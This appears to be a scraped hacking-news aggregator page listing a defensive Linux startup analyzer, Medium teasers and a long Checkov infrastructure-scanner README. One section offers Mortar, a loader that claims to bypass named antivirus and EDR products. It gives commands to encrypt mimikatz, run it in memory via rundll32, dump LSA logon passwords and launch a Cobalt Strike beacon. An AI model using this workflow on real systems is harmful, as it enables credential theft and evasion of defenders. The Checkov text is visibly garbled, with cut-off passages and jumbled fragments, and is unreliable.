hacking: security in practice
Microsoft steps up to block Russian malware from infiltrating Ukraine

https://external-preview.redd.it/kw77UB2w1vPWAhEBUGUKsJkV-MNVhyewUaOtIfhq7MA.jpg?width=640&crop=smart&auto=webp&s=f46a54302c872a58e69e9946874a66dbf244c70d submitted by /u/jhovudu1
[link] [comments]

What After 12th? as an Ethical Hacker.

This is not an accurate path for an ethical hacker.Continue reading on Medium »
Read more...

Kali Linux Tutorials
RCLocals : Linux Startup Analyzer

RCLocals is inspired by ‘Autoruns’ from Sysinternals, RCLocals analyzes all Linux startup possibilities to find backdoors, also performs process integrity verification, scan for DLL injected processes and much more

Things covered:

·List GPG keys trusted by the system

·Installed Packages

·File integrity

·Process integrity (process and libraries loaded in a process that not belongs to any installed package)

·Processes with name spoofed (processes that use prctl() to change their name in /bin/ps)

·CRON entries

·RC files

·X system startup files

·Active Systemd Units

·Systemd Timer Units

·tmpfiles.d

·linger users

USAGE

For only suspicious information:

#python3 rclocals.py –triage

For detailed information:

#python3 rclocals.py –all

Screenshots
https://blogger.googleusercontent.com/img/a/AVvXsEjPZUCVm8pY4O0aS5J-HPMyjbQ-_A5fBQzhhEXIDvO39AMVFAljMfFJ6pX4Vui7-PaNm0fNYUqyZ5jBeOYc3npEuNHOO8Lte2kEWaDoLYz-fTJITSVbtCkFMcTcdVEjo8K8ZFgQmi4ytBFGRd5hYw28K1maZl3EZpIr0pFpvs6FojpkxYq9TjgPrv5_=s1486 https://blogger.googleusercontent.com/img/a/AVvXsEhU4ItO1BiOd0K5nU9cmjosgHZp0HaajXSSYzlTKYtQ1mBuEsILTLG28MJZhmCzYAAak04rBJgfzImfXGjol4kgeeRCySQrZItFAYD7HOtE83pbU19vHPFk0VN7s_Ttr8dYv3ovsziiE_ou94izvsuaJD9rLg8EdcZFO3icto_ZMDMjgQ8U7Su5azRo=s567 https://blogger.googleusercontent.com/img/a/AVvXsEhV6Md_3cbf2I_V37WedYjtUyg8WVNZHxvJbBe6lY2kegmbGBrjwJtim_diTfNAvcBFHfiSfzDH7ht-AIHrSCDQlNkyvTE5t9MXwwCFd6DS0XCSWfXT-6dbbqN60u2CIK7n-tG1dYtBBAQy1Y5S-bVO15agc3umXD5V1vKR8cTYEYCtUlTVkPhUNzK8=s648 https://blogger.googleusercontent.com/img/a/AVvXsEjM7BtXy1SWST1VPmttpTY79fTy1tAS-UEEHFN2jr9RAglKWjXgMixwthMzZJkPe0K-9iDzxx6_sre4gF0bbzbi3G_hl3CmTxpMy3LXC-JztIHb7onlm1lXL_XaI_fHy7dDVWMMH0zdmYqA-k0qFsXvbLHYIspqk8izcvLfQRp5yRM6knX1wAq-rtFB=s840

Download

Kali Linux Tutorials
Mortar : Evasion Technique To Defeat And Divert Detection And Prevention Of Security Products (AV/EDR/XDR)

Mortar is a red teaming evasion technique to defeat and divert detection and prevention of security products. Mortar Loader performs encryption and decryption of selected binary inside the memory streams and execute it directly with out writing any malicious indicator into the hard-drive. Mortar is able to bypass modern anti-virus products and advanced XDR solutions and it has been tested and confirmed bypass for the following:

* Kaspersky
* ESET
* Malwarebytes
* Mcafee
* Cortex XDR
* Windows defender
* Cylance
* TrendMicro
* Bitdefender
* Norton Symantec

Usage

Encryptor

root@kali>./encryptor -f mimikatz.exe -o bin.enc

Loader (DLL)

for bypassing Cortex XDR,add agressor.dll with bin.enc in the same folder and script the following bat file

@echo off
cmd.exe /c rundll32.exe agressor.dll,stealth

for normal usage you can directly execute the agressor.dll

rundll32.exe agressor.dll,dec

Loader (EXE)

the executable version has more options you can use, as you able to pass commands for the loaded binary

Mimikatz dump LSA
deliver.exe -d -c sekurlsa::logonpasswords -f mimikatz.enc
Cobalt strike beacon
deliver.exe -d -f cobalt.enc

Compiling the Loader (windows only)

the project has been coded using FPC(Free Pascal), the compiling procedures are straightforward by downloading and installing Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads) and navigate into file > open -> Run -> build

Compiling Encryptor(Linux/BSD/Arm/MacOS//windows)

either by downloading and installing Lazarus-IDE from the official site(https://www.lazarus-ide.org/index.php?page=downloads)

Debian & Ubuntu
apt install fpc
apt install lazarus-ide
Download

No Rate Limiting on Forget Password Page (Email Triggering)
https://medium.com/@awezkagdi.ak/no-rate-limiting-on-forget-password-page-email-triggering-7cd95a55a1d4?source=rss------bug_bounty-5

Vulnerability Category: A6- Security MisconfigurationContinue reading on Medium » (https://medium.com/@awezkagdi.ak/no-rate-limiting-on-forget-password-page-email-triggering-7cd95a55a1d4?source=rss------bug_bounty-5)

What After 12th? as an Ethical Hacker.
https://themodernhacker.medium.com/what-after-12th-as-an-ethical-hacker-169ff7b084bc?source=rss------bug_bounty-5

This is not an accurate path for an ethical hacker.Continue reading on Medium » (https://themodernhacker.medium.com/what-after-12th-as-an-ethical-hacker-169ff7b084bc?source=rss------bug_bounty-5)

What After 12th? as an Ethical Hacker.

This is not an accurate path for an ethical hacker.Continue reading on Medium »
Read more...

Hacking on Medium
Pals For Life THM Walkthrough

https://cdn-images-1.medium.com/max/1868/1*PCrng0jZx58wCq_k_PC_Iw.png
Target IP : 10.10.145.55

Continue reading on Medium »

Hacking on Medium
The Importance of the Network Effect in Cybersecurity

https://cdn-images-1.medium.com/max/880/1*QUTu2VqBwVMr4JtuRD5y3g.jpeg
The Network Effect is the positive feedback loop that occurs when a product or service becomes more valuable as more people use it. The…

Continue reading on Medium »

Hacking on Medium
Smokescreen Supply Chain Attack Targets Taiwan Financial Sector, A Deeper Look

https://cdn-images-1.medium.com/max/1600/0*jBKriPnb2DkBlshO
Operation Cache Panda: Zero-Day in Financial Software Exploited by China-Linked Threat Group

Continue reading on CyCraft »

KitPloit - PenTest Tools!
Checkov - Prevent Cloud Misconfigurations During Build-Time For Terraform, CloudFormation, Kubernetes, Serverless Framework And Other Infrastructure-As-Code-Languages

https://blogger.googleusercontent.com/img/a/AVvXsEi6bwtE3SrfgM0C7h3ZS1Xl-FboEDPOJMy_JzA9e8DxbsiEdRvKGuqW3eaLxO_Rm2OSJ7NNLnEc3aCbV1-jgORraytuI8MI6BCLXxnIEzKoLqoBw9ZY67N4oaQ49ZzAP7548dmq36B3n7o3hmo3by6s0PrrmYmsEOuJ_NbgyX1HOnbIsmic_ZWzxN9f Checkov is a static code analysis tool for infrastructure-as-code.

It scans cloud infrastructure provisioned using Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Dockerfile, Serverless or ARM Templates and detects securi ty and compliance misconfigurations using graph-based scanning.

Checkov also powers Bridgecrew, the developer-first platform that codifies and streamlines cloud security throughout the development lifecycle. Bridgecrew identifies, fixes, and prevents misconfigurations in cloud resources and infrastructure-as-code files. Features* Over 1000 built-in policies cover security and compliance best practices for AWS, Azure and Google Cloud.
* Scans Terraform, Terraform Plan, CloudFormation, AWS SAM, Kubernetes, Dockerfile, Serverless framework and ARM template files.
* Supports Context-awareness policies based on in-memory graph-based scanning.
* Supports Python format for attribute policies and YAML format for both attribute and composite policies.
* Detects AWS credentials in EC2 Userdata, Lambda environment variables and Terraform providers.
* Identifies secrets using regular expressions, keywords, and entropy based detection.
* Evaluates Terraform Provider settings to regulate the creation, management, and updates of IaaS, PaaS or SaaS managed through Terraform.
* Policies support evaluation of variables to their optional default value.
* Supports in-line suppression of accepted risks or false-positives to reduce recurring scan failures. Also supports global skip from using CLI.
* Output currently available as CLI, CycloneDX, JSON, JUnit XML and github markdown and link to remediation guides. ScreenshotsScheduled scan result in Jenkins https://blogger.googleusercontent.com/img/a/AVvXsEiRn8t91GMAI-LztazwimYkeXwS9RK33lZT6NPaATs5jdvaIklEGFFb5nEB9cWVhNOjzc_Y4D8RZZEOMppLPg_4FfGJfzRnUGHeQoMvWP6tZN6tEWkLznTeRY45IoJpitkSZjfDhYALp17NkANibV3pc1nCCe6npzOZT-4ow1lgL6_6qAtWXrdezQ71=w640-h324 Getting startedRequirements* Python >= 3.7 (Data classes are available for Python 3.7+)
* Terraform >= 0.12 Installationpip3 install checkovInstallation on Alpine: pip3 install --upgrade pip && pip3 install --upgrade setuptools
pip3 install checkovInstallation on Ubuntu 18.04 LTS:

Ubuntu 18.04 ships with Python 3.6. Install python 3.7 (from ppa repository) sudo apt update
sudo apt install software-properties-common
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt install python3.7
sudo apt install python3-pip
sudo python3.7 -m pip install -U checkov #to install or upgrade checkov)or using homebrew (MacOS only) brew install checkovor brew upgrade checkovEnabling bash autocompletesource <(register-python-argcompleteUpgradeif you installed checkov with pip3 pip3 install -U checkovConfigure an input folder or filecheckov --directory /user/path/to/iac/codeOr a specific file or files checkov --file /user/tf/example.tfOr checkov -f /user/cloudformation/example1.yml -f /user/cloudformation/example2.ymlOr a terraform plan file in json format terraform init
terraform plan -out tf.plan
terraform show -json tf.plan > tf.json
checkov -f tf.jsonNote: terraform showoutput file tf.jsonwill be a single line. For that reason all findings will be repo[...]

rted line number 0 by checkov check: CKV_AWS_21: "Ensure all data stored in the S3 bucket have versioning enabled"
FAILED for resource: aws_s3_bucket.customer
File: /tf/tf.json:0-0
Guide: https://docs.bridgecrew.io/docs/s3_16-enable-versioningIf you have installed jqyou can convert json file into multiple lines with the following command: terraform show -json tf.plan | jq '.' > tf.json Scan result would be much user friendly. checkov -f tf.json
Check: CKV_AWS_21: "Ensure all data stored in the S3 bucket have versioning enabled"
FAILED for resource: aws_s3_bucket.customer
File: /tf/tf1.json:224-268
Guide: https://docs.bridgecrew.io/docs/s3_16-enable-versioning

225 | "values": {
226 | "acceleration_status": "",
227 | "acl": "private",
228 | "arn": "arn:aws:s3:::mybucket", Alternatively, specify the repo root of the hcl files used to generate the plan file, using the --repo-root-for-plan-enrichmentflag, to enrich the output with the appropriate file path, line numbers, and codeblock of the resource(s). An added benefit is that check suppressions will be handled accordingly. checkov -f tf.json --repo-root-for-plan-enrichment /user/path/to/iac/codeScan result sample (CLI)Passed Checks: 1, Failed Checks: 1, Suppressed Checks: 0
Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest"
/main.tf:
Passed for resource: aws_s3_bucket.template_bucket
Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest"
/../regionStack/main.tf:
Failed for resource: aws_s3_bucket.sls_deployment_bucket_name Start using Checkov by reading the Getting Started page. Using Dockerdocker pull bridgecrew/checkov
docker run --tty --volume /user/tf:/tf bridgecrew/checkov --directory /tfNote: if you are using Python 3.6(Default version in Ubuntu 18.04) checkov will not work and it will fail with ModuleNotFoundError: No module named 'dataclasses'error message. In this case, you can use the docker version instead.

Note that there are certain cases where redirecting docker run --ttyoutput to a file - for example, if you want to save the Checkov JUnit output to a file - will cause extra control characters to be printed. This can break file parsing. If you encounter this, remove the --ttyflag. Running or skipping checksUsing command line flags you can specify to run only named checks (allow list) or run all checks except those listed (deny list).

List available checks: checkov --list Allow only 2 checks to run: checkov --directory . --check CKV_AWS_20,CKV_AWS_57Run all checks except 1 specified: checkov -d . --skip-check CKV_AWS_20Run all checks except checks with specified patterns: checkov -d . --skip-check CKV_AWS*For Kubernetes workloads, you can also use allow/deny namespaces. For example, do not report any results for the kube-system namespace: checkov -d . --skip-check kube-systemSuppressing/Ignoring a checkLike any static-analysis tool it is limited by its analysis scope. For example, if a resource is managed manually, or using subsequent configuration management tooling, suppression can be inserted as a simple code annotation. Suppression comment formatTo skip a check on a given Terraform definition block or CloudFormation resource, apply the following comment pattern inside it's scope: checkov:skip=<check_id:<suppression_comment* <check_idis one of the [available check scanners](docs/5.Policy Index/all.md)
* <suppression_commentis an optional suppression reason to be included in the output ExampleThe following comment skips the CKV_AWS_20check on the resource identified by foo-bucket, where th[...]

e scan checks if an AWS S3 bucket is private. In the example, the bucket is configured with public read access; Adding the suppress comment would skip the appropriate check instead of the check to fail. resource "aws_s3_bucket" "foo-bucket" { region = var.region #checkov:skip=CKV_AWS_20:The bucket is a public static content host bucket = local.bucket_name force_destroy = true acl = "public-read" } The output would now contain a SKIPPEDcheck result entry: resource "aws_s3_bucket" "foo-bucket" {
region = var.region
#checkov:skip=CKV_AWS_20:The bucket is a public static content host
bucket = local.bucket_name
force_destroy = true
acl = "public-read"
} To skip multiple checks, add each as a new line. ...
...
Check: "S3 Bucket has an ACL defined which allows public access."
SKIPPED for resource: aws_s3_bucket.foo-bucket
Suppress comment: The bucket is a public static content host
File: /example_skip_acl.tf:1-25

...To suppress checks in Kubernetes manifests, annotations are used with the following format: checkov.io/skip#: <check_id=<suppression_commentFor example:

Privilege Escalation :-O checkov.io/skip2: CKV_K8S_14 checkov.io/skip3: CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS spec: containers: ...">#checkov:skip=CKV2_AWS_6
#checkov:skip=CKV_AWS_20:The bucket is a public static content host LoggingFor detailed logging to stdout set up the environment variable LOG_LEVELto DEBUG.

Default is LOG_LEVEL=WARNING. Skipping directoriesTo skip files or directories, use the argument --skip-path, which can be specified multiple times. This argument accepts regular expressions for paths relative to the current working directory. You can use it to skip entire directories and / or specific files.

By default, all directories named node_modules, .terraform, and .serverlesswill be skipped, in addition to any files or directories beginning with .. To cancel skipping directories beginning with .override IGNORE_HIDDEN_DIRECTORY_ENVenvironment variable export IGNORE_HIDDEN_DIRECTORY_ENV=falseYou can override the default set of directories to skip by setting the environment variable CKV_IGNORED_DIRECTORIES. Note that if you want to preserve this list and add to it, you must include these values. For example, CKV_IGNORED_DIRECTORIES=mynewdirwill skip only that directory, but not the others mentioned above. This variable is legacy functionality; we recommend using the --skip-fileflag. VSCODE ExtensionIf you want to use checkov's within vscode, give a try to the vscode extension available at vscode Configuration using a config fileCheckov can be configured using a YAML configuration file. By default, checkov looks for a .checkov.yamlor .checkov.ymlfile in the following places in order of precedence:

* Directory against which checkov is run. (--directory)
* Current working directory where checkov is called.
* User's home directory.

Attention: it is a best practice for checkov configuration file to be loaded from a trusted source composed by a verified identity, so that scanned files, check ids and loaded custom checks are as desired.

Users can also pass in the path to a config file via the command line. In this case, the other config files will be ignored. For example: apiVersion: v1
kind: Pod
metadata:
name: mypod
annotations:
checkov.io/skip1: CKV_K8S_20=I don't care about Privilege Escalation :-O
checkov.io/skip2: CKV_K8S_14
checkov.io/skip3: CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS
spec:
containers:
...Users can also create a config file[...]

using the --create-configcommand, which takes the current command line args and writes them out to a given path. For example: checkov --config-file path/to/config.yamlWill create a config.yamlfile which looks like this: checkov --compact --directory test-dir --docker-image sample-image --dockerfile-path Dockerfile --download-external-modules True --external-checks-dir sample-dir --no-guide --quiet --repo-id bridgecrew/sample-repo --skip-check CKV_DOCKER_3,CKV_DOCKER_2 --skip-fixes --skip-framework dockerfile secrets --skip-suppressions --soft-fail --branch develop --check CKV_DOCKER_1 --create-config /Users/sample/config.ymlUsers can also use the --show-configflag to view all the args and settings and where they came from i.e. commandline, config file, environment variable or default. For example: branch: develop
check:
- CKV_DOCKER_1
compact: true
directory:
- test-dir
docker-image: sample-image
dockerfile-path: Dockerfile
download-external-modules: true
evaluate-variables: true
external-checks-dir:
- sample-dir
external-modules-download-path: .external_modules
framework:
- all
no-guide: true
output: cli
quiet: true
repo-id: bridgecrew/sample-repo
skip-check:
- CKV_DOCKER_3
- CKV_DOCKER_2
skip-fixes: true
skip-framework:
- dockerfile
- secrets
skip-suppressions: true
soft-fail: trueWill display: checkov --show-configContributingContribution is welcomed!

Start by reviewing the contribution guidelines. After that, take a look at a good first issue.

Looking to contribute new checks? Learn how to write a new check (AKA policy) here. Disclaimercheckovdoes not save, publish or share with anyone any identifiable customer information.
No identifiable customer information is used to query Bridgecrew's publicly accessible guides. checkovuses Bridgecrew's API to enrich the results with links to remediation guides. To skip this API call use the flag --no-guide. SupportBridgecrew builds and maintains Checkov to make policy-as-code simple and accessible.

Start with our Documentation for quick tutorials and examples.

If you need direct support you can contact us at info@bridgecrew.io. Download Checkov

Checkov - Prevent Cloud Misconfigurations During Build-Time For Terraform, CloudFormation, Kubernetes, Serverless Framework And Other Infrastructure-As-Code-Languages
http://www.kitploit.com/2022/03/checkov-prevent-cloud-misconfigurations.html